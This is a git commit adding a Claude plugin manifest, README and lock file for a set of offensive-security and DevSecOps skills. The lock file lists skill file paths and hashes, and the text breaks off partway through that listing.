commit ff1f4bd119e294e82b366862d68e24bd48aac597 Author: Zhongwei Li Date: Sat Nov 29 17:51:02 2025 +0800 Initial commit diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json new file mode 100644 index 0000000..d4fed85 --- /dev/null +++ b/.claude-plugin/plugin.json @@ -0,0 +1,12 @@ +{ + "name": "offsec-skills", + "description": "Offensive security skills for penetration testing, network reconnaissance, exploitation, and security assessments", + "version": "0.0.0-2025.11.28", + "author": { + "name": "Sir AppSec", + "email": "sirappsec@gmail.com" + }, + "skills": [ + "./skills" + ] +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..42f3d4f --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# offsec-skills + +Offensive security skills for penetration testing, network reconnaissance, exploitation, and security assessments diff --git a/plugin.lock.json b/plugin.lock.json new file mode 100644 index 0000000..2d5308f --- /dev/null +++ b/plugin.lock.json @@ -0,0 +1,1037 @@ +{ + "$schema": "internal://schemas/plugin.lock.v1.json", + "pluginId": "gh:AgentSecOps/SecOpsAgentKit:", + "normalized": { + "repo": null, + "ref": "refs/tags/v20251128.0", + "commit": "9c8c324a221159dd0cf49083bdf90f2afc230d01", + "treeHash": "e8336ab513f3b4f12483aeadde15f794009b76332cfcdb8666f2a97a34d0adb6", + "generatedAt": "2025-11-28T10:24:50.818656Z", + "toolVersion": "publish_plugins.py@0.2.0" + }, + "origin": { + "remote": "git@github.com:zhongweili/42plugin-data.git", + "branch": "master", + "commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390", + "repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data" + }, + "manifest": { + "name": "offsec-skills", + "description": "Offensive security skills for penetration testing, network reconnaissance, exploitation, and security assessments", + "version": null + }, + "content": { + "files": [ + { + "path": "README.md", + "sha256": "67e5651ebb649b3934cea2bf89c4834d58924b7b2403ade91dce7577e7a9ddde" + }, + { + "path": ".claude-plugin/plugin.json", + "sha256": "4cf1dd80cd4bf09f7926ca4f35d033e50d632fab3e2944277e242780b449f120" + }, + { + "path": "skills/offsec/.category", + "sha256": "df2fbd5f432d7bc597ec0d5f73c5f9e304ef364b832cd2380a8816f6f67699a6" + }, + { + "path": "skills/offsec/analysis-tshark/SKILL.md", + "sha256": "a15da51d3a7d9bb75ade1c16d712c14d476c77786b43ef61c157ed837b24473b" + }, + { + "path": "skills/offsec/analysis-tshark/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/analysis-tshark/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/analysis-tshark/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/analysis-tshark/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/analysis-tshark/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/webapp-sqlmap/SKILL.md", + "sha256": "7514e577c3e0d0d5c4d0fd14b67a121bed325a0bd814fb8187f7d060702f4fec" + }, + { + "path": "skills/offsec/webapp-sqlmap/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/webapp-sqlmap/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/webapp-sqlmap/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/webapp-sqlmap/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/webapp-nikto/SKILL.md", + "sha256": "bb047e6769cd6301ebf04c001948750e35f02ac9b944d2ca9b9345b7958ddf27" + }, + { + "path": "skills/offsec/webapp-nikto/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/webapp-nikto/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/webapp-nikto/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/webapp-nikto/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/webapp-nikto/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/network-netcat/SKILL.md", + "sha256": "ac681dd8555a29954ffec729ef957c7016dee1e315defd73dd766300f0fbf899" + }, + { + "path": "skills/offsec/network-netcat/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/network-netcat/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/network-netcat/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/network-netcat/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/recon-nmap/SKILL.md", + "sha256": "9953cf3a8216a84f02f0a503a470ea7dd81463daa75fa56f847f10d9eb6a1065" + }, + { + "path": "skills/offsec/recon-nmap/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/recon-nmap/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/recon-nmap/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/recon-nmap/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/recon-nmap/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/crack-hashcat/SKILL.md", + "sha256": "9ff19a6c217db17938d5d75d762af7656297a910a764ea49fbe6ac5c21f92f8d" + }, + { + "path": "skills/offsec/crack-hashcat/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/crack-hashcat/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/crack-hashcat/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/crack-hashcat/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/crack-hashcat/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/offsec/pentest-metasploit/SKILL.md", + "sha256": "4cf37682ffb11c9ace696e13b135075e957ac29fb2e45ac7a45cf19b3744ac0f" + }, + { + "path": "skills/offsec/pentest-metasploit/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/offsec/pentest-metasploit/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/offsec/pentest-metasploit/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/offsec/pentest-metasploit/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/offsec/pentest-metasploit/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/incident-response/.category", + "sha256": "b2daa04556838dc30d11b583dcf5eda19cbe85823883ffa1058716c4f5a5b6cb" + }, + { + "path": "skills/incident-response/detection-sigma/SKILL.md", + "sha256": "c8abcece9599cfea7ac874302f2592977798c30e51ae561ad2a0b428c67a86c8" + }, + { + "path": "skills/incident-response/detection-sigma/references/compliance-mappings.md", + "sha256": "ede767edf1e0ae9ae502f71400b1e66f86efaff4bab2fe4c4108bcf749999294" + }, + { + "path": "skills/incident-response/detection-sigma/references/log-source-guide.md", + "sha256": "1e613704bdf13b6c88c1bbe9a0fd4b51e069157c93b4a2c834dfb3b8adc732b5" + }, + { + "path": "skills/incident-response/detection-sigma/references/field-modifiers.md", + "sha256": "f16aa9a414eaa969085d56c0a535d4848b28ab4d822c1d1fcbc29d4f45a1ef61" + }, + { + "path": "skills/incident-response/detection-sigma/references/backend-support.md", + "sha256": "48e80a8963ce610190a15ba201de475c8eeaed2393d31ba6966109b0d7e79445" + }, + { + "path": "skills/incident-response/detection-sigma/references/mitre-attack-mapping.md", + "sha256": "1a54798e533e1f6e928ce0782f8dbedf4df0846a2322eef9a88e7cdd17725502" + }, + { + "path": "skills/incident-response/detection-sigma/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.yml", + "sha256": "5cccf5d3b8880946b76ab1007056b7661b73d7388f38c4a3aba1ec6772d735a9" + }, + { + "path": "skills/incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.yml", + "sha256": "bb6dbf7ef05f2aaf92f78a778ac44b1c8227492c4f486b596dbc3db40d60af2e" + }, + { + "path": "skills/incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.yml", + "sha256": "0a1d958a7a0a9005114970996eb3c1a37d2d7eedf0db42ee7d656c7fa7dba564" + }, + { + "path": "skills/incident-response/detection-sigma/assets/rule-templates/privilege-escalation.yml", + "sha256": "07c219155ccf02cb49850f6aab5db81b7643ed2bb3d35d91b86168689c1ee8a3" + }, + { + "path": "skills/incident-response/detection-sigma/assets/rule-templates/credential-access.yml", + "sha256": "beccc7a6d82456476e64f2eebd3ee7ae8c1f1968558b972449a08e657945b2c8" + }, + { + "path": "skills/incident-response/detection-sigma/assets/rule-templates/persistence.yml", + "sha256": "0f2b8d6e06a9af5454060681889e7e15ed1e000fe6c2ef805c1506b9016d4643" + }, + { + "path": "skills/incident-response/detection-sigma/assets/rule-templates/lateral-movement.yml", + "sha256": "b49a2a2151eecad2e9af0d6f1215099ea6f2e52fd36895a90233c8ab4a2c8343" + }, + { + "path": "skills/incident-response/ir-velociraptor/SKILL.md", + "sha256": "0d73e6e09f7b5e3270508e6dda90e2711205f8859ff78db6361642eca73666b4" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/deployment-guide.md", + "sha256": "b18eea29f799d85433f90d7b3f10ce9eee7ca9083d4f4625b2d84361ff36167e" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/vql-patterns.md", + "sha256": "99c1e0a8b7aeea614109d2c455ec4f5a9a8b09052dea3712e4cb40f95be02fa7" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/artifact-development.md", + "sha256": "82da6b40c8ca9f81e87b185076b8c7049c29802dcdc4bb5d529adf8d7f488a1b" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/mitre-attack-mapping.md", + "sha256": "2631ad78e549dab75e50cdb18392a868e0835a3ff639b54b1864cd64f12f5571" + }, + { + "path": "skills/incident-response/ir-velociraptor/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/hunt-template.yaml", + "sha256": "8b72cec06926ed098ae00ef2b4224ea2a7e3f997596f2415ab85bfecc726c2d7" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/artifact-template.yaml", + "sha256": "5910babcd11198254d72bac65dd605794ac0af0c6abcf7ca74bd68f8a73dc53e" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/incident-response/ir-velociraptor/assets/offline-collector-config.yaml", + "sha256": "99fe71b94bfe39aae990215b6ce9d4a7bb20c33a26bc73243674a3f897dd3b65" + }, + { + "path": "skills/incident-response/forensics-osquery/SKILL.md", + "sha256": "a322381bfd10eb856dfa18a1f13baf65676d340afc844369fa939a8ad76be504" + }, + { + "path": "skills/incident-response/forensics-osquery/references/osqueryd-deployment.md", + "sha256": "d7156ced3300faf5dac5f52271f55722d6afe8cd62901a12182b886bc695cabe" + }, + { + "path": "skills/incident-response/forensics-osquery/references/platform-differences.md", + "sha256": "f07780ed6296b77f51b8cc24b8218b9cc22c1b5d1220085ba70035a863f06381" + }, + { + "path": "skills/incident-response/forensics-osquery/references/mitre-attack-queries.md", + "sha256": "02518f4ca9a140a9816ea30d8ee70335e0e70ea41e882d759d045685d361862c" + }, + { + "path": "skills/incident-response/forensics-osquery/references/table-guide.md", + "sha256": "731b7c631b6b3d375054e2f126568594869678d6df6651bd89322663e6ec1558" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/osquery.conf", + "sha256": "74afc80a5655f0ddab5595f032c91e090f6788a2d674cd3050284394eaaf8181" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/forensic-packs/persistence-hunt.conf", + "sha256": "8b67962f381b8de0a846c25b1fc17285378fac5629944a01533c8b16593b21f0" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.conf", + "sha256": "30376a0cc16d9e7787946fb79d24af539147ffb42f9a0fdd7356c4e5fd73040f" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/forensic-packs/credential-access.conf", + "sha256": "2810a0c6ce2a6a001e052b958e42fd727b1b1f344036f083c78793a829d4d2b4" + }, + { + "path": "skills/incident-response/forensics-osquery/assets/forensic-packs/ir-triage.conf", + "sha256": "aa9305b79a6673716d9c9dea9a34e0d9e94f0aaf5f5fb8ec82068d2137925416" + }, + { + "path": "skills/secsdlc/.category", + "sha256": "7be38431a635f2a2de9883e2c8207845a019f84cab4d12763489e1019aa2272e" + }, + { + "path": "skills/secsdlc/reviewdog/SKILL.md", + "sha256": "5d592e6b38f0960a50465db2c111e47ea65e9b759cd1663779d7fb6b119024ee" + }, + { + "path": "skills/secsdlc/reviewdog/references/cwe_mapping.md", + "sha256": "8f2c37eeeb4f2c27e00074eb17677ac74fa4e3b1300a58e30c6620f33ae0d35e" + }, + { + "path": "skills/secsdlc/reviewdog/references/reporter_formats.md", + "sha256": "f30c15d063bdbbbe91a57096bc09e21bed20c4d48fc538e1f8d9b8ef27926676" + }, + { + "path": "skills/secsdlc/reviewdog/references/supported_tools.md", + "sha256": "184c73d7ca243cd0fe7fb9226108dde228a577857dd460721ae585a646968845" + }, + { + "path": "skills/secsdlc/reviewdog/assets/.reviewdog.yml", + "sha256": "108a42ba67bf34235ea79b69c3f81eda50219ec7ca128a63206bcf6bb6310431" + }, + { + "path": "skills/secsdlc/reviewdog/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/secsdlc/reviewdog/assets/github_actions_template.yml", + "sha256": "0e1f532a62fec3363e34bfd72eba91b55671269799fd3ae7a8281c4aac835bc1" + }, + { + "path": "skills/secsdlc/reviewdog/assets/pre_commit_config.yaml", + "sha256": "9625ed878e0329618952b2e7b23059f5da614954afc708858f5f0c96ed8871d2" + }, + { + "path": "skills/secsdlc/reviewdog/assets/gitlab_ci_template.yml", + "sha256": "602a7f1f892c6c6a2cf0239dd841d9f1a8a3027585b5e0b3aa6bfe98483011a7" + }, + { + "path": "skills/secsdlc/sbom-syft/SKILL.md", + "sha256": "52220bdb407b36bfd650b1d3412d60bd2e70c3ae9d46302558c83366e0418452" + }, + { + "path": "skills/secsdlc/sbom-syft/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/secsdlc/sbom-syft/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/secsdlc/sbom-syft/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/secsdlc/sbom-syft/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/secsdlc/sbom-syft/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/secsdlc/sast-horusec/SKILL.md", + "sha256": "035dfc470e103a9a4b1cd86a5d1e9ff82432443911c9036fa53c0c6da4705871" + }, + { + "path": "skills/secsdlc/sast-horusec/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/secsdlc/sast-horusec/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/secsdlc/sast-horusec/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/secsdlc/sast-horusec/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/secsdlc/sast-horusec/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/_template/SKILL.md", + "sha256": "1331c9c844990b73017d55a9abd3d533aadc5b38a82b2f752e4ef9eee3d6d347" + }, + { + "path": "skills/_template/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/_template/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/_template/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/_template/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/_template/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/compliance/.category", + "sha256": "be7fcd00b871a8b8b78c0d98efac160496c81ca44b0bc2bc12229db5b9b81e2b" + }, + { + "path": "skills/compliance/policy-opa/SKILL.md", + "sha256": "bc107c143166724ccae318bc80891a60e8559f7b1fa09be9d064f24a8326014b" + }, + { + "path": "skills/compliance/policy-opa/references/iac-policies.md", + "sha256": "1d730dc74146a0954fda20e0a5295420972001bb526256f7871def496e1fbfc7" + }, + { + "path": "skills/compliance/policy-opa/references/EXAMPLE.md", + "sha256": "4d40f728ee4dce695b400d6e51100129880dc4397eb6b03ebc2bbd5250dd9e05" + }, + { + "path": "skills/compliance/policy-opa/references/kubernetes-security.md", + "sha256": "924c695799c9c3cbcabe9f8d50239ef14816ce623b4e117cde3624cdff309f62" + }, + { + "path": "skills/compliance/policy-opa/references/rego-patterns.md", + "sha256": "16e971755a6ad7e1564b886e3c1b21a56771196a7586de89d0166beccaa8ad46" + }, + { + "path": "skills/compliance/policy-opa/references/compliance-frameworks.md", + "sha256": "a4c31eb6ec77c851acaec2e9781ace47336648f32ed36971b16522daab65d79d" + }, + { + "path": "skills/compliance/policy-opa/assets/soc2-compliance.rego", + "sha256": "040dcd07da024f2120d63a6165bedf6ac4fdc00806ec6b873c31f50d9296df20" + }, + { + "path": "skills/compliance/policy-opa/assets/ci-cd-pipeline.yaml", + "sha256": "3c9eeb4cf864ed95b0da4ba8fc55067202476025cad3602d752fc5a8ce851628" + }, + { + "path": "skills/compliance/policy-opa/assets/gdpr-compliance.rego", + "sha256": "7f1917782e6a867b166dde3be15db28ca533b6cb9dc557607d6aac7d1f313614" + }, + { + "path": "skills/compliance/policy-opa/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/compliance/policy-opa/assets/k8s-pod-security.rego", + "sha256": "fe71c74aadaa8dbecfb0ade248bc98f9f10f461c8e27bb90a65575cd465f6bbf" + }, + { + "path": "skills/compliance/policy-opa/assets/pci-dss-compliance.rego", + "sha256": "33b93eff51550406025a60fa2aaa9ed7fc87a462f32287de4335433857d033ef" + }, + { + "path": "skills/compliance/policy-opa/assets/k8s-constraint.yaml", + "sha256": "1fcc5d6b72c2fd8f5c5ddc59403f7b7c77d7ebde518f5d23c3d67bfd57f29d9a" + }, + { + "path": "skills/compliance/policy-opa/assets/terraform-security.rego", + "sha256": "4b0b20dd2fb9de838718e99b20f696e446a9bb9e6b1e5be92862cc25f1831708" + }, + { + "path": "skills/compliance/policy-opa/assets/k8s-constraint-template.yaml", + "sha256": "c5e63eda3ee020fccaa3a35c2e3a82dcd9c2d3585cb90746bd94395aa0f02577" + }, + { + "path": "skills/devsecops/.category", + "sha256": "9cc329469809ec6a9262212ea41bca3448976bbab383be54b2890f0d68b3eaf8" + }, + { + "path": "skills/devsecops/iac-checkov/SKILL.md", + "sha256": "22d28ff0ba320b02351155553af4aaf4006e74454d381c9fadd0c42ed80ed956" + }, + { + "path": "skills/devsecops/iac-checkov/references/EXAMPLE.md", + "sha256": "4d40f728ee4dce695b400d6e51100129880dc4397eb6b03ebc2bbd5250dd9e05" + }, + { + "path": "skills/devsecops/iac-checkov/references/suppression_guide.md", + "sha256": "127ed337a8741aeeae8542aa0cf6104ef9739a1b88789fb26c5ae297dff3308a" + }, + { + "path": "skills/devsecops/iac-checkov/references/compliance_mapping.md", + "sha256": "da28edc4a788fb98673c6444014afadb7f1c239ddc29caab0c5ef28d8f12a843" + }, + { + "path": "skills/devsecops/iac-checkov/references/custom_policies.md", + "sha256": "a6916f0432bf25bf6bff951db882bcda8fa3f3a45f5c3db02a7ab4c3bbc0c8e9" + }, + { + "path": "skills/devsecops/iac-checkov/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/devsecops/iac-checkov/assets/pre_commit_config.yaml", + "sha256": "bcbccd2a8059ba79610fe5f8a2f05f5d972e90e9a95419a05918aa1878a0623e" + }, + { + "path": "skills/devsecops/iac-checkov/assets/gitlab_ci.yml", + "sha256": "399c82dabe856709674bb1f5dfee6205aeaf245578a84e975cde79adb2a6a389" + }, + { + "path": "skills/devsecops/iac-checkov/assets/checkov_config.yaml", + "sha256": "9bef23ec63c5881d88c584192c4f5e66d2a1dfd94da4ee772bdb388111eae12b" + }, + { + "path": "skills/devsecops/iac-checkov/assets/github_actions.yml", + "sha256": "8e1b5e42ad4ce8ff91ddf578a74213c727b1d1825de7aa71061d2f32d856df07" + }, + { + "path": "skills/devsecops/secrets-gitleaks/SKILL.md", + "sha256": "c0017cd830d273798d15ba4d51f8798d51f698e42342ef0553c0eceae3012872" + }, + { + "path": "skills/devsecops/secrets-gitleaks/references/remediation_guide.md", + "sha256": "a674e53e0c92863fa9194ccdaae2441ddb829b5171aa920746d8adc9ce71e812" + }, + { + "path": "skills/devsecops/secrets-gitleaks/references/detection_rules.md", + "sha256": "3de621fe8a6cba60607ffdf4fbf874ed2031af9a90fba81e1aa36d138eea5161" + }, + { + "path": "skills/devsecops/secrets-gitleaks/references/EXAMPLE.md", + "sha256": "4d40f728ee4dce695b400d6e51100129880dc4397eb6b03ebc2bbd5250dd9e05" + }, + { + "path": "skills/devsecops/secrets-gitleaks/references/false_positives.md", + "sha256": "137e374fc8ffc95cdb401281bf205f0dfb58a8e8893e8d71b4c32afceabcc72d" + }, + { + "path": "skills/devsecops/secrets-gitleaks/references/compliance_mapping.md", + "sha256": "44c6a7ae5adfd7f61576584062f3d14121b9fa36a26e1f5ce4005a4278639394" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/config-strict.toml", + "sha256": "a90e31fb17e16612006e3ea81edc1db354c78f4e06341f61b0ad48e7a3405758" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/gitlab-ci.yml", + "sha256": "7168ecb3a89abf16eae9ac7085da3c3c145fb722d9a2995b245e2cd7e1bb1d38" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/precommit-config.yaml", + "sha256": "b80493323fdb8db8c8d581307884e7633fbf31ae3c6ef7f7428928c5e3b6a254" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/config-custom.toml", + "sha256": "044b70c4ad746c17b843b2f850064935103c56edcc2fbdd33cb5e7671439db6c" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/config-balanced.toml", + "sha256": "2393b2b0e7e85c92eb8a5ac5b3649ad3de8500b53c606d322fe1e57eb794930d" + }, + { + "path": "skills/devsecops/secrets-gitleaks/assets/github-action.yml", + "sha256": "cdf3ffb6245b1bd7e7bb677dff7894d75968cf4013c05de001505ec0496873a5" + }, + { + "path": "skills/devsecops/container-hadolint/SKILL.md", + "sha256": "f1075c27a23683dc9528e5df913b872c7ae0a2638a5500f4b5f580d0aeb2a1f2" + }, + { + "path": "skills/devsecops/container-hadolint/references/EXAMPLE.md", + "sha256": "4d40f728ee4dce695b400d6e51100129880dc4397eb6b03ebc2bbd5250dd9e05" + }, + { + "path": "skills/devsecops/container-hadolint/references/security_rules.md", + "sha256": "e08c4f85a936ae7324de2db2ad7770c698974c6229532cdd86b77c0140c1fc5a" + }, + { + "path": "skills/devsecops/container-hadolint/assets/github-actions.yml", + "sha256": "856cd9bd259fce3028e2cf9fdb934340a6c9fb3f9e5db8db2f0a47c98dfbaa4b" + }, + { + "path": "skills/devsecops/container-hadolint/assets/hadolint-permissive.yaml", + "sha256": "5665005a9abd5defffde151deca2e658583491c01166a3f5ab4240971e7ce634" + }, + { + "path": "skills/devsecops/container-hadolint/assets/gitlab-ci.yml", + "sha256": "2ee1a093d9b69b6cb8f635f04003eb35faa993c54030dd1843b0b88ffaa1b571" + }, + { + "path": "skills/devsecops/container-hadolint/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/devsecops/container-hadolint/assets/hadolint-strict.yaml", + "sha256": "523d942f9398fca925c1df219503a48098e4dd79ec2d668acecbdfbc4c95b297" + }, + { + "path": "skills/devsecops/container-hadolint/assets/hadolint-balanced.yaml", + "sha256": "48bd24c5db6131d6bee1fd09dc04f2d477375899545f086dabc4cf7c5c42f537" + }, + { + "path": "skills/devsecops/container-grype/SKILL.md", + "sha256": "4064e3c28098dbcefe40f3f317088b3b5bdfb5e675bd1174dee97055dc337064" + }, + { + "path": "skills/devsecops/container-grype/references/vulnerability_remediation.md", + "sha256": "8526cc3afdd0867402006461a11fe97c2284828d03abf42f87a85fd9758dccf5" + }, + { + "path": 